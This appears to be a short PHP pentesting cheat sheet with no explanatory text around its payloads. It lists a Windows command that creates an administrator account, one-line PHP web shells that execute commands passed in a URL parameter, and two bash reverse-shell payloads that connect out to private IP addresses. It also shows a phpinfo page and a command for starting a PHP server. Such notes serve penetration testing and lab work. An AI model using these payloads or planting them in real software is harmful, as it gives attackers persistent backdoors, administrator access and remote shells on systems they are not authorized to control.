PHP

Execute command on system

On Windows

system("net user /add userfoo userpass & net localgroup Administrators userfoo /add");

PHP Backdoors

<?php echo shell_exec($_GET['cmd']);?>
<?php echo system($_GET['cmd']);?>

<pre>system("bash -c 'bash -i >& /dev/tcp/192.168.56.102/8080 0>&1'")</pre>

<?php
	$cmd = 'bash -i >& /dev/tcp/192.168.119.249/1234 0>&1';
	echo "<pre>".shell_exec($cmd)."</pre>";
?>

PHP Info

<?php phpinfo(); ?>

Starting a PHP server

sudo php -S 0.0.0.0:80